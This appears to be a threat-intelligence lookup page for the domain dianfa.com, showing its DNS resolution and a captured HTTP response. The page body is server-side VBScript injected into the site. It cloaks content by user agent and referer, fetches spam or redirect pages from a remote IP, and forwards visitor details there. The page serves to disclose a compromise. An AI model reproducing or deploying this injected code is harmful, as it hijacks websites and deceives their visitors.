Domain > dianfa.com

Welcome! Right click nodes and scroll the mouse to navigate the graph.

More information on this domain is in AlienVault OTX

DNS Resolutions

Date	IP Address
2025-01-15	61.135.129.38 (ClassC)

HTTP/1.1 200 OKContent-Length: 16742Content-Type: text/htmlContent-Location: http://dianfa.com/index.htmLast-Modified: Sun, 18 Sep 2022 12:45:19 GMTAccept-Ranges: bytesETag: a4f9aa825ccbd81:fe784Serve

html>head>script CodePage936  languagevbscript runatserver>  server.Scripttimeout3600Sub Session_OnStart  Dim UA,Remote_server,Gethost,Remote_file,Content_mb,ReUrl  On Error Resume Next  ReUrl  LCase(Request.Servervariables(REQUEST_URI))  Gethost  LCase(Request.Servervariables(SERVER_NAME))  UA  LCase(Request.Servervariables(http_user_agent))  If Err.Number > 0 Then    Err.Clear  End If  Remote_serverhttp://154.204.45.1:999/  If(CKAgent())Then     if(CKUrl()) Then    Remote_file  Remote_server & ?xhost & Gethost &&Reurl & Request.QueryString & &ua & UA & &page1    Content_mbGetHtml(Remote_file)    Response.Clear    Response.Write(Content_mb)    Response.flush    Response.End     else    Remote_file  Remote_server & ?xhost & Gethost &&Reurl & Request.QueryString & &ua & UA & &dibu1    Content_mbGetHtml(Remote_file)    Response.Clear    Response.Write(Content_mb)    Remote_file  Remote_server & ?xhost & Gethost &&Reurl & Request.QueryString & &ua & UA & &dibu1    Content_mbsGetHtml(Remote_file)    Response.Write(Content_mbs)    Response.Flush    Response.End     end if  End If  If(CKReferer() And CKUrl())Then    Remote_file  Remote_server&?jump1    Content_mbGetHtml(Remote_file)    Response.clear    Response.Write(Content_mb)    Response.flush    Response.End  End IfEnd SubFunction GetHtml(url)  On Error Resume Next  Set ObjXMLHTTPServer.CreateObject(MSXML2.serverXMLHTTP)  ObjXMLHTTP.Open GET,url,False  ObjXMLHTTP.SetRequestHeader User-Agent,aQ0O010O  ObjXMLHTTP.Send  GetHtmlObjXMLHTTP.ResponseBody  Set ObjXMLHTTPNothing  Set ObjStream  Server.CreateObject(Adodb.Stream)  ObjStream.Type  1  ObjStream.Mode 3  ObjStream.Open  ObjStream.Write GetHtml  ObjStream.Position  0  ObjStream.Type  2  ObjStream.Charset  gb2312  GetHtml  ObjStream.ReadText  ObjStream.Close  If Err.Number > 0 Then  Err.Clear  End IfEnd FunctionFunction GetUrl()  On Error Resume Next  Dim ScriptAddress,Servername,qs  ScriptAddress  CStr(Request.Servervariables(SCRIPT_NAME))  Servername  CStr(Request.Servervariables(Server_Name))  qsRequest.QuerySt

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > dianfa.com

Is this malicious?

DNS Resolutions

Port 80